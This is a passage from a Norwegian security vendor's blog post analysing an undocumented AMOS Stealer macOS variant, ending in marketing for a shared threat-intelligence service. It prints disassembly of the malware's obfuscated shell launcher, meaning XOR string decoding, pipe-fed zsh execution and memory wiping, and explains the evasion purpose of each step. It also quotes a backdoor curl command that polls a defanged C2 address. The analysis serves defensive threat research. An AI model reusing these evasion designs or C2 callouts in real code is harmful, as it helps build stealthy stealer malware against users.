payload-pipelinen.",[526,14565,14566,647,14569,13759,14572,1200],{},[568,14567,14568],{},"Instans A",[579,14570,14571],{},"FUN_10007ab34",[579,14573,14574],{},"0x10007ab34",[854,14576,14577],{"style":13137},[13574,14578,14579,14582,14583,3468,14586,14588,14589,14088,14591,14593,14594,14596,14597,14088,14599,14601,14602,14604,14605,14088,14607,14609,14610,14612,14613,14616,14617,14619,14620,14622],{},[1710,14580,14581],{"style":13578},"// Instance A, start counter 0x4c, table @ 0x100496f8b","\nuVar6 = ",[1710,14584,14585],{"style":13611},"0x4c",[1710,14587,13865],{"style":13587}," {\n  bVar2 = *(",[1710,14590,14249],{"style":13587},[1710,14592,13797],{"style":13587},")local_e0 +\n          ((",[1710,14595,13628],{"style":13587},")(*(",[1710,14598,14249],{"style":13587},[1710,14600,13797],{"style":13587},")local_c8 + uVar5) ^ uVar6) & ",[1710,14603,14258],{"style":13611},"));\n  *(",[1710,14606,14249],{"style":13587},[1710,14608,13797],{"style":13587},")plVar1 + uVar5) = bVar2;\n  uVar6 = (",[1710,14611,13598],{"style":13587},")uVar5 + (uVar6 ^ bVar2);  ",[1710,14614,14615],{"style":13578},"// counter: i + (counter XOR output)","\n  uVar5 = uVar5 + ",[1710,14618,13876],{"style":13611},";\n} ",[1710,14621,13949],{"style":13587}," (uVar7 != uVar5);\n",[526,14624,14625,647,14628,13759,14631,1200],{},[568,14626,14627],{},"Instans B",[579,14629,14630],{},"FUN_10007a7e0",[579,14632,14633],{},"0x10007a7e0",[854,14635,14636],{"style":13137},[13574,14637,14638,14582,14641,3468,14644,14588,14646,14088,14648,14650,14651,14596,14653,14088,14655,14657,14658,14604,14660,14088,14662,14609,14664,14612,14666,14616,14669,14619,14671,14622],{},[1710,14639,14640],{"style":13578},"// Instance B, start counter 0x9f, different table @ 0x100496e0a region",[1710,14642,14643],{"style":13611},"0x9f",[1710,14645,13865],{"style":13587},[1710,14647,14249],{"style":13587},[1710,14649,13797],{"style":13587},")local_c0 +\n          ((",[1710,14652,13628],{"style":13587},[1710,14654,14249],{"style":13587},[1710,14656,13797],{"style":13587},")local_a8 + uVar5) ^ uVar6) & ",[1710,14659,14258],{"style":13611},[1710,14661,14249],{"style":13587},[1710,14663,13797],{"style":13587},[1710,14665,13598],{"style":13587},[1710,14667,14668],{"style":13578},"// identical counter update formula",[1710,14670,13876],{"style":13611},[1710,14672,13949],{"style":13587},[526,14674,14675,14676,14678,14679,14681],{},"Algoritmen er strukturelt identisk, men startlteller er forskjellig (",[579,14677,14585],{}," vs. ",[579,14680,14643],{},") og lookup-tabellene ligger på ulike minneadresser. Instans A kalles fra tilstand 11 i tilstandsmaskinen for å produsere kodingsalfabetet for den første payload-veien. Instans B kalles fra tilstand 6 for å produsere alfabetet som brukes til å dekode det store shell-skript-payloaden.",[526,14683,14684,14685,14688,14689,14692,14693,14696],{},"Presist formulert: det dreier seg om en ",[568,14686,14687],{},"substitusjonschiffer med tellerbasert indeks",". Hver utgangsbyte er et tabelloppslag, der indeksen er ",[579,14690,14691],{},"(input_byte XOR counter) & 0xFF",". Telleren oppdateres etter hver byte som ",[579,14694,14695],{},"counter = (i + (counter XOR output)) & 0xFF",", noe som betyr at hver utgangsbyte påvirker bestemmelsen av neste lookup-indeks. Dette gir en avhengighetskjede over hele utgangssekvensen: byte N kan ikke dekrypteres uten at bytene 0 til N-1 er dekryptert korrekt. Delvis dekryptering og feilanalyse blir dermed betydelig vanskeligere.",[526,14698,14699],{},"Ingen av instansene er standard RC4. Det finnes ingen S-Box-initialiseringsfase, ingen S-Box-swap-operasjon. Lookup-tabellene er statiske konstanter innebygd på kompileringstidspunktet.",[13106,14701],{},[889,14703,14705],{"id":14704},"layer-6-runtime-xor-med-exit-code-avhengig-nøkkel","Layer 6: Runtime-XOR med exit-code-avhengig nøkkel",[526,14707,895],{},[526,14709,14710,14711,14714],{},"Det siste og analytisk mest krevende laget påfører en in-place-XOR-transformasjon på stage-2-payloaden. XOR-nøkkelen er ikke hardkodet, men avledet i runtime fra exit-koden til ",[568,14712,14713],{},"den første shell-payload-kjøringen",", og kan dermed prinsipielt ikke bestemmes via statisk analyse. Binaryen må faktisk kjøres og det første shell-skriptet må kjøre til ende før nøkkelen i det hele tatt eksisterer.",[526,14716,14717],{},"Nøkkelavledningssekvensen i ARM64-state-machine-dispatcheren:",[854,14719,14720],{"style":13137},[616,14721,14724],{"className":14722,"code":14723,"language":621},[619],"; After shell_exec_via_pipe #1 returns, exit code is in w0\n10009f838:  ubfx w8,w0,#0x8,#0x8     ; extract bits [15:8] of exit status\n10009f83c:  mov w9,#0x7f0             ; multiplier constant\n10009f840:  madd w8,w8,w9,w26         ; key = (exit_byte × 0x7f0) + base_counter\n10009f844:  and w24,w8,#0xffff        ; mask to 16-bit key → stored in w24\n",[579,14725,14723],{"__ignoreMap":530},[526,14727,14728],{},"XOR-løkken som prosesserer stage-2-payloaden:",[854,14730,14731],{"style":13137},[616,14732,14735],{"className":14733,"code":14734,"language":621},[619],"; In-place XOR, every byte of the payload is XORed with w24\n10009fc34:  ldrb w10,[x8, x9, LSL ]  ; load payload byte\n10009fc48:  eor w10,w10,w24          ; XOR with key\n10009fc4c:  strb w10,[x8, x9, LSL ]  ; write decrypted byte in place\n",[579,14736,14734],{"__ignoreMap":530},[526,14738,14739,14740,14743,14744,14747,14748,14750],{},"Nøkkelen er en 16-bits verdi, avledet fra exit-status-byten til den første shell-payloaden, multiplisert med ",[579,14741,14742],{},"0x7f0"," og lagt til den aktuelle verdien av tilstandsmaskinens basetellerregister ",[579,14745,14746],{},"w26",". Multiplikasjonskonstanten ",[579,14749,14742],{}," gjør at én bit forskjell i exit-koden gir en helt annen nøkkel. Det er ingen utnyttbar kontinuitet mellom nabo-nøkkelverdier.",[526,14752,14753],{},"Uten å kjøre binaryen i et kontrollert miljø og registrere den nøyaktige exit-koden til den første shell-payloaden, forblir stage-2-payloaden permanent ugjennomtrengelig for statisk analyse. Det var den vanskeligste hindringen i hele analysen.",[13106,14755],{},[741,14757,14759],{"id":14758},"shell-kjøring-pipes-i-stedet-for-argumenter-og-simd-xor","Shell-kjøring: pipes i stedet for argumenter, og SIMD-XOR",[526,14761,747],{},[526,14763,14764,14765,13759,14768,14771],{},"Shell-kjøringsfunksjonen ",[579,14766,14767],{},"FUN_10000091c",[579,14769,14770],{},"0x10000091c"," er den arkitektonisk mest interessante komponenten i binaryen. Her løper alt sammen: den dekodede payloaden, det obfuskerte kommandonavnet og det eksplisitte anti-forensikk-designet. Hver designbeslutning i denne funksjonen tjener et spesifikt evasjonsformål.",[889,14773,14775],{"id":14774},"steg-1-kommandonavnet-forekommer-aldri-i-klartekst","Steg 1: Kommandonavnet forekommer aldri i klartekst",[526,14777,895],{},[526,14779,14780,14783,14784,14787,14788,14791,14792,14795],{},[579,14781,14782],{},"/bin/zsh"," finnes ingen steder i binaryen som klartekst. I ",[579,14785,14786],{},"__cstring","-seksjonen på ",[579,14789,14790],{},"0x1007bb5c8"," ligger strengen som obfuskerte byter ",[579,14793,14794],{},"\\x01LG@\\x01T]F",". Dekoding skjer i runtime via en enkelt XOR-operasjon, verifiserbar direkte i ARM64-assemblyen:",[854,14797,14798],{"style":13137},[616,14799,14802],{"className":14800,"code":14801,"language":621},[619],"; FUN_10000091c — command name decode via SIMD XOR\n100000960:  adrp x8,0x1007bb000\n100000964:  add x8,x8,#0x5c8          ; x8 → \"\\x01LG@\\x01T]F\" in __cstring\n100000968:  ldr x8,[x8]               ; load 8 obfuscated bytes as uint64\n10000096c:  str x8,[sp, #0x20]\n100000970:  strb wzr,[sp, #0x28]      ; null terminator\n\n100000974:  ldr d0,[sp, #0x20]        ; load into SIMD register d0\n100000978:  movi v1.8B,#0x2e          ; broadcast 0x2e to all 8 lanes of v1\n10000097c:  eor v0.8B,v0.8B,v1.8B    ; XOR all 8 bytes simultaneously\n100000980:  str d0,[sp, #0x20]        ; store decoded \"/bin/zsh\"\n\n100000988:  mov w8,#0x732d            ; 0x732d = \"-s\" (little-endian)\n10000098c:  strh w8,[sp, #0x4]        ; store argument string\n",[579,14803,14801],{"__ignoreMap":530},[526,14805,14806,14807,14810,14811,14813,14814,14817],{},"XOR-nøkkelen er ",[579,14808,14809],{},"0x2e",", ASCII-verdien for ",[579,14812,614],{}," (punktum). Dekodingen skjer i én enkelt ",[579,14815,14816],{},"eor v0.8B, v0.8B, v1.8B","-instruksjon, en ARM64-NEON-vektorinstruksjon som XOR-ler alle 8 byter samtidig. Å bruke en SIMD-instruksjon for en enkel 8-byte-dekoding er uvanlig og har to effekter: raskere enn en byte-for-byte-løkke, og instruksjonsmønsteret som produseres skiller seg fundamentalt fra skalare dekodings-løkker som signatur-matching-verktøy er trent på.",[526,14819,14820,14821,647,14824,647,14827,647,14830,14833,14834,14837],{},"Verifiseringen er enkel: ",[579,14822,14823],{},"0x01 XOR 0x2e = 0x2f = /",[579,14825,14826],{},"0x4c XOR 0x2e = 0x62 = b",[579,14828,14829],{},"0x47 XOR 0x2e = 0x69 = i",[579,14831,14832],{},"0x40 XOR 0x2e = 0x6e = n",", som gir ",[579,14835,14836],{},"/bin"," i de første fire bytene.",[889,14839,14841],{"id":14840},"steg-2-pipe-arkitekturen","Steg 2: Pipe-arkitekturen",[526,14843,895],{},[526,14845,14846],{},"Etter å ha dekodet kommandonavnet oppretter funksjonen en OS-pipe og forker:",[854,14848,14849],{"style":13137},[616,14850,14853],{"className":14851,"code":14852,"language":621},[619],"100000990:  bl 0x1000a0f6c    ; _fork()\n100000994:  mov x20,x0        ; save PID\n100000998:  cbz w0,0x100000b00 ; if child: jump to exec path\n",[579,14854,14852],{"__ignoreMap":530},[526,14856,14857],{},"I child-prosessen:",[854,14859,14860],{"style":13137},[616,14861,14864],{"className":14862,"code":14863,"language":621},[619],"; Child process path\n100000b0c:  mov w1,#0x0\n100000b10:  bl 0x1000a0f48    ; _dup2(pipe_read_fd, STDIN=0)\n; pipe read-end is now stdin, shell reads from pipe\n100000b2c:  add x0,sp,#0x20   ; argv[0] = \"/bin/zsh\"\n100000b30:  add x1,sp,#0x8    ; argv array\n100000b34:  bl 0x1000a0f60    ; _execvp(\"/bin/zsh\", [\"/bin/zsh\", \"-s\", NULL])\n",[579,14865,14863],{"__ignoreMap":530},[526,14867,14868,14869,14872,14873,14876,14877,14879],{},"Child-prosessen erstatter sin standard-input med lese-enden av pipen og starter ",[579,14870,14871],{},"/bin/zsh -s",". I ",[579,14874,14875],{},"-s","-modus leser shellen kommandoer fra stdin. For process-monitoring-verktøy fremstår denne prosessen som ",[579,14878,14871],{}," uten argumenter, ikke til å skille fra en legitim interaktiv shell-session.",[889,14881,14883],{"id":14882},"steg-3-chunk-writes-av-varierende-størrelse","Steg 3: Chunk-writes av varierende størrelse",[526,14885,895],{},[526,14887,14888],{},"Parent-prosessen skriver den dekrypterte payloaden i bevisst varierende chunk-størrelser til skrive-enden av pipen:",[854,14890,14891],{"style":13137},[616,14892,14895],{"className":14893,"code":14894,"language":621},[619],"; Parent: compute chunk size then write\n1000009d4:  umulh x8,x23,x24       ; high-half multiply for modulo\n1000009d8:  lsr x8,x8,#0x7\n1000009dc:  msub x8,x8,x25,x23     ; x8 = length % 0xc0\n1000009e0:  add x8,x8,#0x40        ; chunk = (length % 192) + 64\n                                    ; range: 64 to 255 bytes per write\n1000009e4:  cmp x8,x23             ; clamp to remaining length\n1000009e8:  csel x2,x8,x23,cc\n\n1000009ec:  ldr w0,[sp, #0x34]     ; pipe write fd\n1000009f0:  mov x1,x21             ; payload pointer\n1000009f4:  bl 0x1000a0fc0         ; _write(fd, buf, chunk_size)\n\n100000a04:  mov w0,#0x1\n100000a08:  bl 0x1000a0fa8         ; _usleep(1), 1µs between chunks\n100000a0c:  add x21,x21,x22        ; advance pointer\n100000a10:  sub x23,x23,x22        ; reduce remaining count\n100000a14:  cbnz x23,0x1000009d4   ; loop until done\n",[579,14896,14894],{"__ignoreMap":530},[526,14898,14899,14900,14903,14904,8790,14907,14910,14911,14914],{},"Chunk-størrelsesformelen ",[579,14901,14902],{},"(remaining_length % 192) + 64"," produserer verdier mellom 64 og 255 byte per write-kall, avhengig av gjenværende payload-lengde. Det variable write-mønsteret er synlig i kernel-event-tracing-verktøy som ",[579,14905,14906],{},"ktrace",[579,14908,14909],{},"dtrace",", men produserer ingen gjenkjennelig fastformat-signatur. Hver kjøring av samme payload gir en annen sekvens av ",[579,14912,14913],{},"write()","-syscall-størrelser.",[526,14916,14917,14919],{},[579,14918,13647],{}," på 1 mikrosekund mellom chunks har et sekundært formål: den gir CPU-en fri mellom skrivingene, holder CPU-belastningen flat og unngår en plutselig spike som en atferdsbasert EDR-regel kunne flagge som avvikende burst-I/O.",[889,14921,14923],{"id":14922},"steg-4-umiddelbar-minneopprydning","Steg 4: Umiddelbar minneopprydning",[526,14925,895],{},[854,14927,14928],{"style":13137},[616,14929,14932],{"className":14930,"code":14931,"language":621},[619],"; After all chunks written and pipe closed:\n100000a20:  ldrb w8,[x19, #0x17]   ; check string storage type\n100000a24:  sxtb w9,w8\n100000a28:  ldp x10,x11,[x19]\n100000a30:  csel x0,x10,x19,lt     ; pointer to payload buffer\n100000a34:  csel x1,x11,x8,lt      ; length of buffer\n100000a38:  bl 0x1000a0f30         ; _bzero(payload_buf, length)\n",[579,14933,14931],{"__ignoreMap":530},[526,14935,14936,14939],{},[579,14937,14938],{},"_bzero()","-kallet nuller ut hele den dekrypterte payload-bufferen umiddelbart etter siste skriving til pipen. Ikke noe tidsvindu, ikke engang et mikrosekund, der den dekrypterte payloaden ligger i minnet etter at kjøringen er fullført. En live memory dump tatt rett etter at denne funksjonen returnerer finner bare nuller der payloaden var.",[526,14941,14942,14943,14946],{},"Det kalles ",[568,14944,14945],{},"zero-after-use",", den samme teknikken som høysikre kryptografiske biblioteker bruker for å hindre at nøkkelmateriale blir liggende i minnet. At denne teknikken dukker opp i commodity-malware er uvanlig og tyder på en utvikler med security-engineering-bakgrunn.",[889,14948,14950],{"id":14949},"den-fullstendige-kjøringssekvensen","Den fullstendige kjøringssekvensen:",[526,14952,895],{},[854,14954,14955],{"style":13137},[616,14956,14959],{"className":14957,"code":14958,"language":621},[619],"__cstring:  \"\\x01LG@\\x01T]F\"   (7 bytes, obfuscated)\n    ↓  SIMD XOR with 0x2e (8-wide vector)\nstack:      \"/bin/zsh\\0\"         (decoded in-place, stack only)\n    ↓  _pipe() creates fd pair [read=local_60, write=local_5c]\n    ↓  _fork()\n    │\n    ├─ CHILD:  _dup2(local_60, 0)   stdin = pipe read end\n    │          _execvp(\"/bin/zsh\", [\"/bin/zsh\", \"-s\", NULL])\n    │          → /bin/zsh reads commands from stdin (= pipe)\n    │\n    └─ PARENT: loop: _write(local_5c, payload, variable_chunk)\n                     _usleep(1)\n               _close(local_5c)    close write end → EOF to shell\n               _bzero(payload, len) ← WIPE IMMEDIATELY\n               _waitpid(child, ...)\n",[579,14960,14958],{"__ignoreMap":530},[741,14962,14964],{"id":14963},"import-tabellen-som-våpen","Import-tabellen som våpen",[526,14966,747],{},[526,14968,14969],{},"Den fullstendige import-tabellen for denne binaryen:",[854,14971,14972],{"style":13137},[616,14973,14976],{"className":14974,"code":14975,"language":621},[619],"// C runtime / memory\n_memcpy       _memmove      _memset       _bzero\n\n// Process execution\n_fork         _execvp       _execl        __exit\n\n// IPC / pipes\n_pipe         _dup2         _close        _write\n\n// Synchronisation\n_waitpid      _usleep\n\n// Stack protection\n___stack_chk_fail    ___stack_chk_guard\n\n// C++ runtime\noperator.new    operator.delete    __Unwind_Resume\n___cxa_allocate_exception    ___cxa_throw    ___cxa_begin_catch\n___cxa_end_catch    ___cxa_free_exception    ___gxx_personality_v0\nterminate    logic_error    bad_array_new_length    __next_prime\n\n// STL containers\nappend    reserve    push_back    operator=\n\n// Dynamic linking\ndyld_stub_binder\n",[579,14977,14975],{"__ignoreMap":530},[526,14979,14980],{},"Totalt 27 symboler. Det som mangler er minst like avslørende som det som finnes.",[889,14982,14984],{"id":14983},"fraværende-nettverk","Fraværende: nettverk",[526,14986,895],{},[854,14988,14989],{"style":13137},[616,14990,14993],{"className":14991,"code":14992,"language":621},[619],"socket      connect     bind        listen\naccept      send        recv        sendto\nrecvfrom    getaddrinfo gethostbyname\n",[579,14994,14992],{"__ignoreMap":530},[889,14996,14998],{"id":14997},"fraværende-filsystem","Fraværende: filsystem",[526,15000,895],{},[854,15002,15003],{"style":13137},[616,15004,15007],{"className":15005,"code":15006,"language":621},[619],"open        read        fopen       fread\nfwrite      fclose      stat        unlink\nmkdir       rename      opendir     readdir\n",[579,15008,15006],{"__ignoreMap":530},[889,15010,15012],{"id":15011},"fraværende-prosess-introspeksjon","Fraværende: prosess-introspeksjon",[526,15014,895],{},[854,15016,15017],{"style":13137},[616,15018,15021],{"className":15019,"code":15020,"language":621},[619],"getpid      getuid      getenv      sysctl\n",[579,15022,15020],{"__ignoreMap":530},[889,15024,15026],{"id":15025},"fraværende-kryptografi","Fraværende: kryptografi",[526,15028,747],{},[854,15030,15031],{"style":13137},[616,15032,15035],{"className":15033,"code":15034,"language":621},[619],"CCCrypt     SecItemAdd  SecKeychainFind\n",[579,15036,15034],{"__ignoreMap":530},[526,15038,15039,15040,647,15043,15046,15047,647,15050,15053],{},"I et tradisjonelt malware-sample ville man forvente nettverks-imports (",[579,15041,15042],{},"socket",[579,15044,15045],{},"connect",") eller fil-imports (",[579,15048,15049],{},"fopen",[579,15051,15052],{},"write","). Denne binaryen har ikke en eneste. For en standard scanner ser den ut som en harmløs prosess-launcher, og slik er det tenkt: et bevisst arkitekturvalg som lar statiske analyseverktøy løpe tomme.",[526,15055,15056,15058],{},[579,15057,13463],{},"-binaryen utfører ikke tyveriet selv. Dens eneste formål er å plassere og kjøre den egentlige ondsinnede payloaden, et sterkt obfuskert AppleScript. En EDR eller AV som leter etter ondsinnede binaries ser her en loader uten nettverks- eller fil-I/O og kan klassifisere den som ren, uten å oppdage at binaryen er et spesialisert leveringssystem for en high-level-skript-payload.",[13106,15060],{},[557,15062,15064],{"id":15063},"bakdøren","Bakdøren",[526,15066,563],{},[526,15068,15069,15070,15073],{},"Hendelsen sluttet ikke etter den innledende kompromitteringen. Microsoft Defender-telemetri viste en prosess som kjørte fra ",[579,15071,15072],{},"/Users/\u003Credacted>/.mainhelper"," og spurte en ekstern server:",[854,15075,15076],{"style":13137},[616,15077,15079],{"className":2786,"code":15078,"language":2788,"meta":530,"style":530},"sh -c \"curl -s 'http[:]//45.94.47[.]204/api/tasks/*********************'\"\n",[579,15080,15081],{"__ignoreMap":530},[1710,15082,15083,15086,15088],{"class":1712,"line":1713},[1710,15084,15085],{"class":2795},"sh",[1710,15087,13343],{"class":2803},[1710,15089,15090],{"class":2799}," \"curl -s 'http[:]//45.94.47[.]204/api/tasks/*********************'\"\n",[526,15092,15093],{},"Base64-strengen dekodet seg til en 16-byte enhets-UUID, den unike identifikatoren som angriperens C2-infrastruktur hadde tildelt denne enheten på dagen for førstegangsinfeksjonen.",[526,15095,15096,15099,15100,15103,15104,15106],{},[579,15097,15098],{},".mainhelper","-binaryen (SHA-256: ",[579,15101,15102],{},"7c6766e2b05dfbb286a1ba48ff3e766d4507254e217e8cb77343569153d63063",") var installert av osascript-dropperen via ",[579,15105,13340],{}," på selve hendelsesdagen.",[13106,15108],{},[557,15110,15112],{"id":15111},"shared-threat-intelligence-styrken-i-det-kollektive-skjoldet","Shared Threat Intelligence: styrken i det kollektive skjoldet",[526,15114,563],{},[526,15116,15117],{},"Når en alert utløses i vårt SOC, begynner klokken å gå ikke bare for den berørte kunden, men for hver eneste organisasjon under glueckkanjas beskyttelsesskjold. Denne undersøkelsen av en udokumentert AMOS-variant viser tydelig hva Intelligence Gap betyr i praksis: et farlig tidsvindu der klassiske leverandører er blinde fordi de ennå ikke har sett trusselen.",[526,15119,15120],{},"Her viser vår proprietære Shared Threat Intelligence Platform sin verdi, utviklet eksklusivt for glueckkanja-CSOC-kunder. Vi venter ikke på bransje-oppdateringer, vi skaper dem. Mens analytikerne våre fortsatt demonterte de siste lagene av ARM64-assembly, distribuerte vår Automated Orchestration Engine allerede de uttrukne indikatorene på tvers av hele økosystemet. Det skaper flokkimmunitet: det som oppdages på ett enkelt endpoint, er innen få minutter en blokkert trussel for hver eneste organisasjon under vår beskyttelse.",[526,15122,15123],{},"Reaktiv sikkerhet fungerer ikke mot trusler som målrettet sniker seg gjennom hullene i konvensjonelle forsvarsmekanismer. Svaret ligger i å koble menneskelig ekspertise til en arkitektur som setter den kunnskapen ut i livet umiddelbart og i stor skala. Gjennom vår Shared Intelligence-modell snus angriperens tidsfortrinn på hodet: kundene våre er beskyttet før bransjen i det hele tatt oppdager trusselen.",[848,15125,15126,15131,15134,15137],{},[526,15127,15128],{},[568,15129,15130],{},"Merknad om personvern",[526,15132,15133],{},"Identifiserende informasjon er anonymisert i denne publikasjonen. Spesifikke tekniske detaljer, indikatorer og tidsstempler kan være lett endret for å sikre pågående beskyttelse av det berørte miljøet, uten å svekke den tekniske integriteten til analysen.",[526,15135,15136],{},"De tekniske analysene og Indicators of Compromise (IOC-ene) i denne rapporten er kun til informasjon og opplæring. De leveres etter beste evne. glueckkanja AG gir ingen uttrykkelige eller underforståtte garantier for fullstendighet eller nøyaktighet, og påtar seg intet ansvar for skader, tap eller sikkerhetshendelser som følge av bruk av informasjon, regler eller signaturer som deles her. Vi anbefaler å validere alle indikatorer og regler i et kontrollert miljø før de tas i bruk.",[526,15138,15139],{},"Beskrevne indikatorer og teknikker kan overlappe med kjente malware-familier og er ikke eksklusivt knyttet til én enkelt kampanje.",[12816,15141,15142],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}",{"title":530,"searchDepth":531,"depth":531,"links":15144},[15145,15146,15147,15148,15155,15156,15157,15158,15166,15173],{"id":13128,"depth":531,"text":13129},{"id":13163,"depth":531,"text":13164},{"id":13220,"depth":531,"text":13221},{"id":13252,"depth":531,"text":13253,"children":15149},[15150,15151,15152,15153,15154],{"id":13261,"depth":2094,"text":13262},{"id":13275,"depth":2094,"text":13276},{"id":13289,"depth":2094,"text":13290},{"id":13298,"depth":2094,"text":13299},{"id":13315,"depth":2094,"text":13316},{"id":13470,"depth":531,"text":13471},{"id":13549,"depth":531,"text":13550},{"id":13662,"depth":531,"text":13663},{"id":13727,"depth":531,"text":13728,"children":15159},[15160,15161,15162,15163,15164,15165],{"id":13742,"depth":2094,"text":13743},{"id":14028,"depth":2094,"text":14029},{"id":14281,"depth":2094,"text":14282},{"id":14466,"depth":2094,"text":14467},{"id":14553,"depth":2094,"text":14554},{"id":14704,"depth":2094,"text":14705},{"id":14758,"depth":531,"text":14759,"children":15167},[15168,15169,15170,15171,15172],{"id":14774,"depth":2094,"text":14775},{"id":14840,"depth":2094,"text":14841},{"id":14882,"depth":2094,"text":14883},{"id":14922,"depth":2094,"text":14923},{"id":14949,"depth":2094,"text":14950},{"id":14963,"depth":531,"text":14964,"children":15174},[15175,15176,15177,15178],{"id":14983,"depth":2094,"text":14984},{"id":14997,"depth":2094,"text":14998},{"id":15011,"depth":2094,"text":15012},{"id":15025,"depth":2094,"text":15026},{"lang":12966,"seoTitle":15180,"titleClass":12968,"date":15181,"categories":15182,"blogtitlepic":15183,"socialimg":15184,"customExcerpt":15185,"keywords":15186,"maxContent":325,"asideNav":15187,"footer":15202,"contactInContent":15203,"published":325},"AMOS-Stealer-variant: Reverse engineering av en ukjent macOS-malware","2026-04-10",[235],"head-amos-stealer.png","/blog/heads/head-amos-stealer.png","En hittil udokumentert AMOS-Stealer-variant kompromitterte et macOS-endpoint. Ingen kjente hasher, ingen C2-data i offentlige databaser. Vårt SOC demonterte seks obfuskeringslag, hentet ut alle indikatorene og distribuerte beskyttelsen til samtlige SOC-kunder i løpet av timer, før bransjen i det hele tatt hadde sett samplet.","AMOS Stealer, macOS Malware, Reverse Engineering, malware-analyse, Ghidra, ARM64, Incident Response, Threat Intelligence, CSOC, macOS-sikkerhet, stealer-malware, Shared Threat Intelligence, Atomic macOS Stealer",{"menuItems":15188},[15189,15192,15194,15197,15199],{"href":15190,"text":15191},"#hendelsen-et-ukjent-ioc-scenario","Hendelsen",{"href":15193,"text":13129},"#stage-1-sandbox-sjekker",{"href":15195,"text":15196},"#stage-2-reverse-engineering-av-helper-binaryen","Stage 2: Binary-analyse",{"href":15198,"text":15064},"#bakdøren",{"href":15200,"text":15201},"#shared-threat-intelligence-styrken-i-det-kollektive-skjoldet","Shared Threat Intelligence",{"noMargin":325},{"quote":325,"infos":15204},{"bgColor":15205,"headline":13031,"subline":15206,"level":741,"textStyling":13033,"flush":13034,"person":15207,"form":15213},"var(--color-gk-dark-blue)","Vil du vite hvordan vår Shared Threat Intelligence Platform beskytter deg mot ukjente malware-varianter før bransjen får vite om dem? Ta kontakt med oss.",{"image":15208,"cloudinary":325,"alt":15209,"name":15210,"quotee":15210,"quoteeTitle":15211,"quote":15212},"/people/people-jan-geisbauer-csoc.jpg","Portrett av Jan Geisbauer, Head of Security hos glueckkanja","Jan Geisbauer","Head of Security","Det farlige med denne varianten var ikke den tekniske kompleksiteten, så imponerende den enn er. Det farlige var tidsvinduet. Uten Shared Threat Intelligence ville de andre kundene våre ha stått ubeskyttet i timevis mens vi fortsatt analyserte.",{"ctaText":13048,"cta":15214,"method":12964,"action":13051,"fields":15215},{"skin":13050},[15216,15217,15218,15219,15220,15224,15226,15228,15231,15233,15234,15235],{"type":13054,"id":13055,"value":13056},{"label":13058,"type":621,"id":13059,"required":325,"requiredMsg":13060},{"label":13062,"type":621,"id":403,"required":325,"requiredMsg":13063},{"label":13065,"type":13066,"id":13066,"required":325,"requiredMsg":13067},{"label":15221,"type":15222,"id":10697,"required":484,"requiredMsg":15223},"Din melding til oss","textarea","Vennligst skriv en melding.",{"label":15225,"type":13070,"id":13071,"required":325,"requiredMsg":13072},"Dataene dine lagres og brukes til å behandle henvendelsen din. Detaljer finner du i \u003Ca href=\"/no/privacy\">personvernerklæringen vår\u003C/a>.",{"type":13054,"id":15227,"value":235},"_topic",{"type":13054,"id":15229,"value":15230},"_location","World",{"type":13054,"id":13074,"value":15232},"Form: Blog AMOS Stealer CSOC | NO",{"type":13054,"id":13077,"value":13078},{"type":13054,"id":13080},{"type":13054,"id":15236},"jsonData","/posts/2026-04-10-incident-to-intelligence",{"title":13092,"description":13098},"posts/2026-04-10-incident-to-intelligence",[13086,15241,15242,15243,13087],"Incident Response","macOS Security","Malware Analysis","004OcCgTmbgKjXFaQhFCeI7hQLs69nBMjhEl_6ejkJQ",[],{"id":15247,"extension":15248,"meta":15249,"stem":8,"__hash__":15254},"authors_data/authors.json","json",{"Pascal Asch":15250},{"display_name":521,"avatar":15251,"permalink":15252,"linkedin":547,"imageOffsetTop":15253},"people/Pascal.Asch.648.jpg","/authors/pascal-asch","66%","1csawlkJxRljy93GTOnXEkwLqAv9Lcj-apxRvoodAOY",1791383987106]